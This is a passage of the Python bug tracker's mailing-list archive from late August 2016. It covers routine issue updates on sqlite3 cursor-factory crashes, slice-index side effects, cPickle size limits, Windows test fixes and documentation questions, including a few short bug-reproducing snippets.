= object() green = object() blue = object() object() returns a new unique value while conveying that that value should not be expected to be used in any meaningful way (unlike an integer value, which could be used to encode the Enum in some way). There is no extra magic going on here, no new code that needs to be added to the stdlib, and no bare identifiers that could confuse linters. For example, PyCharm already fully understands the above example and statically types it. This example also allows the developer to omit the extra @enum.unique() boilerplate that is normally needed, since he or she cannot accidentally use the same integer value twice. ---------- assignee: docs at python components: Documentation messages: 273780 nosy: John Hagen, barry, docs at python, eli.bendersky, ethan.furman priority: normal severity: normal status: open title: Add recipe for "valueless" Enums to docs type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 10:12:49 2016 From: report at bugs.python.org (Emanuel Barry) Date: Sat, 27 Aug 2016 14:12:49 +0000 Subject: [issue27425] Tests fail because of git's newline preferences on Windows In-Reply-To: <1467306989.4.0.803551571995.issue27425@psf.upfronthosting.co.za> Message-ID: <1472307169.72.0.774722858641.issue27425@psf.upfronthosting.co.za> Changes by Emanuel Barry : Removed file: https://bugs.python.org/file44220/fix_newlines_1.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 10:12:57 2016 From: report at bugs.python.org (Emanuel Barry) Date: Sat, 27 Aug 2016 14:12:57 +0000 Subject: [issue27425] Tests fail because of git's newline preferences on Windows In-Reply-To: <1467306989.4.0.803551571995.issue27425@psf.upfronthosting.co.za> Message-ID: <1472307177.01.0.0808629082169.issue27425@psf.upfronthosting.co.za> Changes by Emanuel Barry : Removed file: https://bugs.python.org/file44225/fix_newlines_2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 10:25:07 2016 From: report at bugs.python.org (Emanuel Barry) Date: Sat, 27 Aug 2016 14:25:07 +0000 Subject: [issue27425] Tests fail because of git's newline preferences on Windows In-Reply-To: <1467306989.4.0.803551571995.issue27425@psf.upfronthosting.co.za> Message-ID: <1472307907.62.0.698263824699.issue27425@psf.upfronthosting.co.za> Emanuel Barry added the comment: Martin: Indeed, seems like it's backwards for some reason. I'm not sure what happened when I regenerated the index; I removed the patches now anyway. I think the .gitattributes patch would be fine to go on its own. It's my understanding that line endings don't matter for XML files, so it would probably be a better move to fix xml.sax instead of the test. I'll likely open a new issue if we decide to do that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 10:36:10 2016 From: report at bugs.python.org (mohammad aghanabi) Date: Sat, 27 Aug 2016 14:36:10 +0000 Subject: [issue27878] Unicode word boundries Message-ID: <1472308569.99.0.0993827433917.issue27878@psf.upfronthosting.co.za> New submission from mohammad aghanabi: According to [UAX #29](http://unicode.org/reports/tr29) - unicode word boundaries (rule WB5a), an apostrophe includes U+0027 ( ' ) APOSTROPHE and U+2019 ( ? ) RIGHT SINGLE QUOTATION MARK (curly apostrophe). However regex module only implements U+0027 and the second kind (U+2019) is missing: /* Break between apostrophe and vowels (French, Italian). */ /* WB5a */ if (pos_m1 >= 0 && char_at(state->text, pos_m1) == '\'' && is_unicode_vowel(char_at(state->text, text_pos))) return TRUE; [Source code](https://bitbucket.org/mrabarnett/mrab-regex/src/f21447bf288780d8dd9b1633820480484ce8f677/regex_3/regex/_regex.c?at=default&fileviewer=file-view-default#_regex.c-1657) ---------- components: Regular Expressions messages: 273782 nosy: ezio.melotti, mohammad aghanabi, mrabarnett priority: normal severity: normal status: open title: Unicode word boundries type: behavior versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 10:48:30 2016 From: report at bugs.python.org (Mark Lawrence) Date: Sat, 27 Aug 2016 14:48:30 +0000 Subject: [issue25847] CPython not using Visual Studio code analysis! In-Reply-To: <1449899987.42.0.470300295936.issue25847@psf.upfronthosting.co.za> Message-ID: <1472309310.87.0.11213146418.issue25847@psf.upfronthosting.co.za> Changes by Mark Lawrence : ---------- nosy: -BreamoreBoy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 10:56:48 2016 From: report at bugs.python.org (SilentGhost) Date: Sat, 27 Aug 2016 14:56:48 +0000 Subject: [issue27878] Unicode word boundries In-Reply-To: <1472308569.99.0.0993827433917.issue27878@psf.upfronthosting.co.za> Message-ID: <1472309808.78.0.878399651113.issue27878@psf.upfronthosting.co.za> SilentGhost added the comment: regex module is not in standard library, on the latest 3.6 branch re module breaks on curly apostrophe just fine. Perhaps, try reporting this issue on the bitbucket tracker? ---------- nosy: +SilentGhost resolution: -> not a bug stage: -> resolved status: open -> closed versions: -Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 11:06:06 2016 From: report at bugs.python.org (SilentGhost) Date: Sat, 27 Aug 2016 15:06:06 +0000 Subject: [issue27875] Syslogs /usr/sbin/foo as /foo instead of as foo In-Reply-To: <1472291311.49.0.485322574022.issue27875@psf.upfronthosting.co.za> Message-ID: <1472310366.35.0.490428509844.issue27875@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- components: +Extension Modules nosy: +jafo stage: -> needs patch versions: +Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 12:18:33 2016 From: report at bugs.python.org (Skip Montanaro) Date: Sat, 27 Aug 2016 16:18:33 +0000 Subject: [issue12178] csv writer doesn't escape escapechar In-Reply-To: <1306348030.98.0.468032848078.issue12178@psf.upfronthosting.co.za> Message-ID: <1472314713.07.0.094144187959.issue12178@psf.upfronthosting.co.za> Skip Montanaro added the comment: The patch looked okay to me, and when applied to the 2.7 source, the new tests pass muster. I'm not going to pretend I know where this patch should be applied. That's for someone else to pronounce. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 12:18:51 2016 From: report at bugs.python.org (Skip Montanaro) Date: Sat, 27 Aug 2016 16:18:51 +0000 Subject: [issue12178] csv writer doesn't escape escapechar In-Reply-To: <1306348030.98.0.468032848078.issue12178@psf.upfronthosting.co.za> Message-ID: <1472314731.42.0.625353458685.issue12178@psf.upfronthosting.co.za> Changes by Skip Montanaro : ---------- nosy: -skip.montanaro _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 12:40:58 2016 From: report at bugs.python.org (Xiang Zhang) Date: Sat, 27 Aug 2016 16:40:58 +0000 Subject: [issue27506] make bytes/bytearray translate's delete a keyword argument In-Reply-To: <1468403337.28.0.33019551319.issue27506@psf.upfronthosting.co.za> Message-ID: <1472316058.15.0.0133426544178.issue27506@psf.upfronthosting.co.za> Xiang Zhang added the comment: Yay, thanks for your work, Martin. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 12:43:18 2016 From: report at bugs.python.org (Brett Cannon) Date: Sat, 27 Aug 2016 16:43:18 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za> Message-ID: <1472316198.94.0.699161420966.issue26027@psf.upfronthosting.co.za> Brett Cannon added the comment: Hopefully https://hg.python.org/cpython/rev/775158408ecb will fix the problem. ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 12:45:23 2016 From: report at bugs.python.org (Berker Peksag) Date: Sat, 27 Aug 2016 16:45:23 +0000 Subject: [issue12178] csv writer doesn't escape escapechar In-Reply-To: <1306348030.98.0.468032848078.issue12178@psf.upfronthosting.co.za> Message-ID: <1472316323.74.0.596356484529.issue12178@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- nosy: +berker.peksag versions: +Python 3.5, Python 3.6 -Python 3.2, Python 3.3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 12:56:46 2016 From: report at bugs.python.org (Xiang Zhang) Date: Sat, 27 Aug 2016 16:56:46 +0000 Subject: [issue27861] sqlite3 type confusion and multiple frees In-Reply-To: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> Message-ID: <1472317006.05.0.264383827022.issue27861@psf.upfronthosting.co.za> Xiang Zhang added the comment: Thanks for the comments, Serhiy and palaviv. I left some questions in reply to them. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 13:11:46 2016 From: report at bugs.python.org (Brett Cannon) Date: Sat, 27 Aug 2016 17:11:46 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za> Message-ID: <1472317906.85.0.557861951398.issue26027@psf.upfronthosting.co.za> Brett Cannon added the comment: It's still failing: http://buildbot.python.org/all/builders/AMD64%20Windows7%20SP1%203.x/builds/8176/steps/test/logs/stdio . Don't have time to look at why right now and I'm on a Mac ATM so I can't test locally to try and fix it until I'm at work on Monday. If someone has an idea as to why this is only happening on Windows I'm open to understanding. ---------- components: +Windows nosy: +paul.moore, steve.dower, tim.golden, zach.ware status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 14:02:55 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 27 Aug 2016 18:02:55 +0000 Subject: [issue27861] sqlite3 type confusion and multiple frees In-Reply-To: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> Message-ID: <1472320975.46.0.43323187274.issue27861@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: About the first bug. Checking that a factory is a subclass of sqlite3.Cursor is not enough. I suppose that a subclass of sqlite3.Cursor with overridden __new__ could pass the check but cause a crash. class BadCursor(sqlite3.Cursor): def __new__(cls, conn): return None Docs should be changed as well as the code. As for the second bug, please open a separate issue. This is more complex issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 14:17:13 2016 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Sat, 27 Aug 2016 18:17:13 +0000 Subject: [issue27879] add os.syncfs() Message-ID: <1472321832.99.0.609872620029.issue27879@psf.upfronthosting.co.za> New submission from ???? ?????????: I mean http://linux.die.net/man/2/syncfs ---------- components: Library (Lib) messages: 273790 nosy: mmarkk priority: normal severity: normal status: open title: add os.syncfs() type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 14:25:18 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 27 Aug 2016 18:25:18 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za> Message-ID: <20160827182515.45891.86333.8CC74B80@psf.io> Roundup Robot added the comment: New changeset 8ec5a00e5d75 by Berker Peksag in branch 'default': Issue #26027: Fix test_path_t_converter on Windows https://hg.python.org/cpython/rev/8ec5a00e5d75 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 14:31:36 2016 From: report at bugs.python.org (Berker Peksag) Date: Sat, 27 Aug 2016 18:31:36 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za> Message-ID: <1472322696.1.0.52857713785.issue26027@psf.upfronthosting.co.za> Berker Peksag added the comment: test_path_t_converter failure looks similar to http://bugs.python.org/issue27493#msg271047 (fixed by 5424252ce174.) I've tested a fix on my Windows box and the test passed for me. Hopefully 8ec5a00e5d75 will fix the problem on buildbots too :) ---------- nosy: +berker.peksag _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 14:39:35 2016 From: report at bugs.python.org (Eryk Sun) Date: Sat, 27 Aug 2016 18:39:35 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za> Message-ID: <1472323175.92.0.718333826678.issue26027@psf.upfronthosting.co.za> Eryk Sun added the comment: I wish the name was "pushCleanup" to emphasize that cleanup functions are popped and called in LIFO order. ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 15:14:51 2016 From: report at bugs.python.org (Xiang Zhang) Date: Sat, 27 Aug 2016 19:14:51 +0000 Subject: [issue27861] sqlite3 type confusion and multiple frees In-Reply-To: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> Message-ID: <1472325291.27.0.160203515806.issue27861@psf.upfronthosting.co.za> Xiang Zhang added the comment: If decide to follow the behaviour of code rather than doc, it's a different story. issue27861_conn_cursor_v2.patch tries to solve the first issue. It now preserve the previous behaviour treating factory as a callable not a cursor type. ---------- Added file: https://bugs.python.org/file44241/issue27861_conn_cursor_v2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 15:16:24 2016 From: report at bugs.python.org (Robert Pierce) Date: Sat, 27 Aug 2016 19:16:24 +0000 Subject: [issue27880] cPickle fails on large objects (still - 2011 and counting) Message-ID: <1472325384.28.0.119216785398.issue27880@psf.upfronthosting.co.za> New submission from Robert Pierce: cPickle fails on large objects, throwing a SystemError exception which is cryptic. The issue was fixed for pickle in python 3 back in 2011 (http://bugs.python.org/issue11564), but never addressed in 2.7. It seems to be a recurring complaint (e.g., http://bugs.python.org/issue11872), but always seems to be closed without being fixed or explained why it cannot be fixed. Test case from 2011 still fails: >>> import cPickle; cPickle.dumps('a' * (2 ** 31),-1) Traceback (most recent call last): File "", line 1, in SystemError: error return without exception set ---------- components: Library (Lib) messages: 273795 nosy: robert at smithpierce.net priority: normal severity: normal status: open title: cPickle fails on large objects (still - 2011 and counting) type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 15:21:29 2016 From: report at bugs.python.org (Xiang Zhang) Date: Sat, 27 Aug 2016 19:21:29 +0000 Subject: [issue27881] Fix possible bugs when setting sqlite3.Connection.isolation_level Message-ID: <1472325689.42.0.337900232121.issue27881@psf.upfronthosting.co.za> New submission from Xiang Zhang: This is a follow up of issue27861 and means to fix the second issue mentioned in it. pysqlite_connection_set_isolation_level now does not check allowed values and when any part fails, it leaves the Connection object in an inconsistent state. I'll write a patch trying to fix this tomorrow. ---------- components: Library (Lib) messages: 273796 nosy: berker.peksag, serhiy.storchaka, tehybel, xiang.zhang priority: normal severity: normal status: open title: Fix possible bugs when setting sqlite3.Connection.isolation_level type: behavior versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 15:32:09 2016 From: report at bugs.python.org (Xiang Zhang) Date: Sat, 27 Aug 2016 19:32:09 +0000 Subject: [issue27414] http.server.BaseHTTPRequestHandler inconsistence with Content-Length value In-Reply-To: <1467207276.94.0.887561217469.issue27414@psf.upfronthosting.co.za> Message-ID: <1472326329.57.0.661672680629.issue27414@psf.upfronthosting.co.za> Xiang Zhang added the comment: Delete by other test cases without restoring? Which is rather impossible to happen. But I'd like it to stay like now. It is not complex and straight when reading. I don't want to change it to swap_attr. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 15:41:35 2016 From: report at bugs.python.org (Xiang Zhang) Date: Sat, 27 Aug 2016 19:41:35 +0000 Subject: [issue27740] Fix doc of Py_CompileStringExFlags In-Reply-To: <1470939203.79.0.619794104629.issue27740@psf.upfronthosting.co.za> Message-ID: <1472326895.66.0.97349260593.issue27740@psf.upfronthosting.co.za> Xiang Zhang added the comment: I am not a native speaker so I decide not to trap in the minor part. Could you just fix the first point if there is no doubt? I'm okay with the second part staying as now. ---------- Added file: https://bugs.python.org/file44242/issue27740.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 15:59:15 2016 From: report at bugs.python.org (Berker Peksag) Date: Sat, 27 Aug 2016 19:59:15 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za> Message-ID: <1472327955.05.0.41645430077.issue26027@psf.upfronthosting.co.za> Berker Peksag added the comment: Builtbots look happy now: * Windows 7 SP1: http://buildbot.python.org/all/builders/AMD64%20Windows7%20SP1%203.x/builds/8177 * Windows 8: http://buildbot.python.org/all/builders/AMD64%20Windows8%203.x/builds/2476 * Windows 10: http://buildbot.python.org/all/builders/AMD64%20Windows10%203.x/builds/1377 ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 17:09:12 2016 From: report at bugs.python.org (Brett Cannon) Date: Sat, 27 Aug 2016 21:09:12 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1472327955.05.0.41645430077.issue26027@psf.upfronthosting.co.za> Message-ID: Brett Cannon added the comment: Thanks for fixing it, Berker! On Sat, Aug 27, 2016, 12:59 Berker Peksag wrote: > > Berker Peksag added the comment: > > Builtbots look happy now: > > * Windows 7 SP1: > http://buildbot.python.org/all/builders/AMD64%20Windows7%20SP1%203.x/builds/8177 > * Windows 8: > http://buildbot.python.org/all/builders/AMD64%20Windows8%203.x/builds/2476 > * Windows 10: > http://buildbot.python.org/all/builders/AMD64%20Windows10%203.x/builds/1377 > > ---------- > status: open -> closed > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 17:51:04 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 27 Aug 2016 21:51:04 +0000 Subject: [issue27867] various issues due to misuse of PySlice_GetIndicesEx In-Reply-To: <1472226685.15.0.242668202848.issue27867@psf.upfronthosting.co.za> Message-ID: <1472334664.78.0.0470495049059.issue27867@psf.upfronthosting.co.za> Terry J. Reedy added the comment: There is really one immediate issue: PySlice_GetIndicesEx in Objects/sliceobject.c takes as inputs a slice object and a sequence length, but not the sequence itself. It starts with "/* this is harder to get right than you might think */" Yep. It assumes both inputs are constants. However, it thrice calls _PyEval_SliceIndex(intlike) (Python/ceval.c). This call in turn may call PyNunber_AsSsize_t(intlike), which calls intlike.__index__. At least in toy examples, this last can change an underlying mutable sequence and hence its length. Since the calculation of the returned start, stop, step, and slicelength depend on the length, the result is that PySlice_GetIndeces can indirectly invalidate its own results. --- Side effects in __index__ also affect indexing class X: def __index__(self): b[:] = [] return 1 b = [1,2,3,4] b[X()] Traceback (most recent call last): File "F:\Python\mypy\tem.py", line 7, in print(b[X()]) IndexError: list index out of range Similarly, "b[X()] = 4" results in "list assignment index ...". Crashes seem not possible as the conversion to a real int seems to always be done locally in the sequence_subscript method. See for instance list_subscript and list_ass_subscript in Objects/listojbect.c. If the subscript is an index, it is *first* converted to int with PyNumber_AsSsize_t *before* being possibly incremented by PySize(self) and compared to the same. Side-effects also affect index methods. class X: def __index__(self): b[:] = [] return 1 b = [1] b.index(1, X()) Traceback (most recent call last): File "F:\Python\mypy\tem.py", line 7, in print(b.index(1, X())) ValueError: 1 is not in list For tuple/list/deque.index(val, start, stop), start and stop are converted to int with _PyEval_SliceIndex, as with slices. However, they make this call as part of an initial PyArg_ParseTuple call, before adjusting them to the length of the sequence. So again, no crash is possible. I suppose there are other places where PyNumber_AsSsize_t is called, and where a crash *might* be possible, and should be checked, But back to slicing. --- Action on this issue requires a policy decision among three options. 0. In general, special methods should be proper functions, without side effects, that return what the doc suggests. Doing otherwise is 'at one own risk'. Close that as "won't fix" because anyone writing an 'intlike' with such an evil __index__ method deserves the result, even it it is a crash. Also, this seems like a toy problem since it require __index__ can know of and access the collection it is being called for. It would otherwise only be written my a malicious attacker, who could do things much worse in the __index__ methods. Counter arguments: A. Our usual policy is that pure Python code only using the stdlib (minus ctypes) should not crash. B. The writer and user of 'intlike' might be different people. Question: does 'no crash' apply to arbitrary side-effects in special methods? 1. Declare and enforce that a length-changing side-effect in __index__ used with slicing is a bug and raise ValueError. A. Change every mutable_collection(_ass)_subscript method to record is length before calling PySlice_GetIndicesEx and check itself afterwards. B. Create PySlice_GetIndicesEx2 to receive *collection instead of length, so *it* can do the before and check in just one place, and change the calls. 2. As I suggested earlier: 'slicing should always work'. Ensure that the 'length' used to adjust int slice components is the correct value, after all calls to __index__. A. Change all calling sites, as above, to pass a slice object with int components and a length calculated after int conversions. Bl. Create PySlice_GetIndicesEx2 to receive *collection, so *it* can retrieve the length after __index__ conversions. I will ask on pydev which, if any, of the 4 possible patches would be best. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 21:53:52 2016 From: report at bugs.python.org (Lucas Hoffmann) Date: Sun, 28 Aug 2016 01:53:52 +0000 Subject: [issue14376] sys.exit documents argument as "integer" but actually requires "subtype of int" In-Reply-To: <1332288480.19.0.200013792885.issue14376@psf.upfronthosting.co.za> Message-ID: <1472349232.93.0.96459219268.issue14376@psf.upfronthosting.co.za> Changes by Lucas Hoffmann : ---------- nosy: +luc _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 22:48:35 2016 From: report at bugs.python.org (INADA Naoki) Date: Sun, 28 Aug 2016 02:48:35 +0000 Subject: [issue26081] Implement asyncio Future in C to improve performance In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za> Message-ID: <1472352515.88.0.978594480715.issue26081@psf.upfronthosting.co.za> INADA Naoki added the comment: There are only two weeks until 3.6 beta. Yury, could you review this again? Or should I implement freelist before review? Implementing freelist may be easy, but measuring the effect of freelist from realistic application is not easy. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 23:21:13 2016 From: report at bugs.python.org (Wei-Cheng Pan) Date: Sun, 28 Aug 2016 03:21:13 +0000 Subject: [issue27413] Add an option to json.tool to bypass non-ASCII characters. In-Reply-To: <1467200969.47.0.983958211319.issue27413@psf.upfronthosting.co.za> Message-ID: <1472354473.69.0.434586905519.issue27413@psf.upfronthosting.co.za> Wei-Cheng Pan added the comment: Added doc and test. ---------- Added file: https://bugs.python.org/file44243/json-add-an-option-to-bypass-non-ascii-characters-v3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 23:21:31 2016 From: report at bugs.python.org (Wei-Cheng Pan) Date: Sun, 28 Aug 2016 03:21:31 +0000 Subject: [issue27413] Add an option to json.tool to bypass non-ASCII characters. In-Reply-To: <1467200969.47.0.983958211319.issue27413@psf.upfronthosting.co.za> Message-ID: <1472354491.0.0.673745127176.issue27413@psf.upfronthosting.co.za> Changes by Wei-Cheng Pan : Removed file: https://bugs.python.org/file43596/json-add-an-option-to-bypass-non-ascii-characters.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 23:38:06 2016 From: report at bugs.python.org (Richard) Date: Sun, 28 Aug 2016 03:38:06 +0000 Subject: [issue27882] Python docs on 3.52 Math module lists math.log2 as function but it does not exist Message-ID: <1472355486.42.0.293458330235.issue27882@psf.upfronthosting.co.za> Changes by Richard : ---------- assignee: docs at python components: Documentation nosy: PyRW, docs at python priority: normal severity: normal status: open title: Python docs on 3.52 Math module lists math.log2 as function but it does not exist versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 23:43:24 2016 From: report at bugs.python.org (Richard) Date: Sun, 28 Aug 2016 03:43:24 +0000 Subject: [issue27882] Python docs on 9.52 Math module lists math.log2 as function but it does not exist Message-ID: <1472355804.21.0.810134419097.issue27882@psf.upfronthosting.co.za> Changes by Richard : ---------- title: Python docs on 3.52 Math module lists math.log2 as function but it does not exist -> Python docs on 9.52 Math module lists math.log2 as function but it does not exist _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 23:43:45 2016 From: report at bugs.python.org (Richard) Date: Sun, 28 Aug 2016 03:43:45 +0000 Subject: [issue27882] Python docs on 9.2 Math module lists math.log2 as function but it does not exist Message-ID: <1472355825.9.0.166768362295.issue27882@psf.upfronthosting.co.za> Changes by Richard : ---------- title: Python docs on 9.52 Math module lists math.log2 as function but it does not exist -> Python docs on 9.2 Math module lists math.log2 as function but it does not exist _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 23:45:54 2016 From: report at bugs.python.org (Richard) Date: Sun, 28 Aug 2016 03:45:54 +0000 Subject: [issue27882] Python docs on 9.2 Math module lists math.log2 as function but it does not exist Message-ID: <1472355954.67.0.238945519047.issue27882@psf.upfronthosting.co.za> Changes by Richard : Added file: https://bugs.python.org/file44244/docbugmathlog2.jpg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 00:01:34 2016 From: report at bugs.python.org (Tim Peters) Date: Sun, 28 Aug 2016 04:01:34 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1472356894.09.0.127033708669.issue27761@psf.upfronthosting.co.za> Tim Peters added the comment: Adding one more version of the last code, faster by cutting the number of extra digits used, and by playing "the usual" low-level CPython speed tricks. I don't claim it's always correctly rounded - although I haven't found a specific case where it isn't. I do claim it will return the exact result whenever the exact result is representable as a float. I also claim it's "fast enough" - this version does on the high end of 50 to 100 thousand roots per second on my box, pretty much independent of `n`. import decimal c = decimal.DefaultContext.copy() c.prec = 25 def rootn(x, n, D=decimal.Decimal, pow=c.power, mul=c.multiply, add=c.add, div=c.divide): g = D(x**(1.0/n)) n1 = D(n-1) g = div(add(mul(n1, g), div(D(x), pow(g, n1))), n) return float(g) del decimal, c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 00:24:55 2016 From: report at bugs.python.org (Emanuel Barry) Date: Sun, 28 Aug 2016 04:24:55 +0000 Subject: [issue27882] Python docs on 9.2 Math module lists math.log2 as function but it does not exist Message-ID: <1472358295.58.0.523948529034.issue27882@psf.upfronthosting.co.za> New submission from Emanuel Barry: The function does definitely exist for me. Please make sure your Python version is up-to-date. Also, please post a short summary of the issue, and avoid screenshots whenever possible; it's more work for you, makes it harder for us to reproduce/follow (need to manually type everything back), and makes it impossible for the blind and visually impaired to participate. Thanks! ---------- assignee: docs at python -> components: -Documentation nosy: +ebarry status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 00:35:23 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 28 Aug 2016 04:35:23 +0000 Subject: [issue27867] various issues due to misuse of PySlice_GetIndicesEx In-Reply-To: <1472226685.15.0.242668202848.issue27867@psf.upfronthosting.co.za> Message-ID: <1472358923.45.0.632589597127.issue27867@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This is a toy example that exposes the problem, but the problem itself is not a toy problem. The key point is that calculating slice indices cause executing Python code and releases GIL. In multithread program a sequence can be changed not in toy __index__ method, but in other thread, in legitimate code. This is very hardly reproducible bug. Variants B are not efficient. To determine the size of a sequence we should call its __len__() method. This is less efficient than using macros Py_SIZE() or PyUnicode_GET_LENGTH(). And it is not always possible to pass a sequence. In multidimensional array there is no such sequence (see for example _testbuffer.ndarray). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 01:46:19 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 28 Aug 2016 05:46:19 +0000 Subject: [issue27867] various issues due to misuse of PySlice_GetIndicesEx In-Reply-To: <1472226685.15.0.242668202848.issue27867@psf.upfronthosting.co.za> Message-ID: <1472363179.82.0.0762380092508.issue27867@psf.upfronthosting.co.za> Terry J. Reedy added the comment: FWIW. Py_SIZE is used all over listobject.c. Are you saying that this could be improved? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 01:52:16 2016 From: report at bugs.python.org (Xiang Zhang) Date: Sun, 28 Aug 2016 05:52:16 +0000 Subject: [issue27861] sqlite3 type confusion and multiple frees In-Reply-To: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> Message-ID: <1472363536.49.0.323277746015.issue27861@psf.upfronthosting.co.za> Xiang Zhang added the comment: Thanks for the comments Serhiy. v3 now fixs all that. ---------- Added file: https://bugs.python.org/file44245/issue27861_conn_cursor_v3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 02:50:52 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 28 Aug 2016 06:50:52 +0000 Subject: [issue27867] various issues due to misuse of PySlice_GetIndicesEx In-Reply-To: <1472226685.15.0.242668202848.issue27867@psf.upfronthosting.co.za> Message-ID: <1472367052.2.0.852756526473.issue27867@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I'm saying that PySlice_GetIndicesEx2 can't just use Py_SIZE. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 03:02:30 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 28 Aug 2016 07:02:30 +0000 Subject: [issue27861] sqlite3 type confusion and multiple frees In-Reply-To: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> Message-ID: <1472367750.25.0.468231258232.issue27861@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: LGTM except one style nit. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 03:08:37 2016 From: report at bugs.python.org (Xiang Zhang) Date: Sun, 28 Aug 2016 07:08:37 +0000 Subject: [issue27861] sqlite3 type confusion and multiple frees In-Reply-To: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> Message-ID: <1472368117.72.0.0555376568371.issue27861@psf.upfronthosting.co.za> Xiang Zhang added the comment: It's a trivial personal style choice I think. Do what you want if you'd like to merge it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 03:31:35 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 28 Aug 2016 07:31:35 +0000 Subject: [issue27882] Python docs on 9.2 Math module lists math.log2 as function but it does not exist In-Reply-To: <1472358295.58.0.523948529034.issue27882@psf.upfronthosting.co.za> 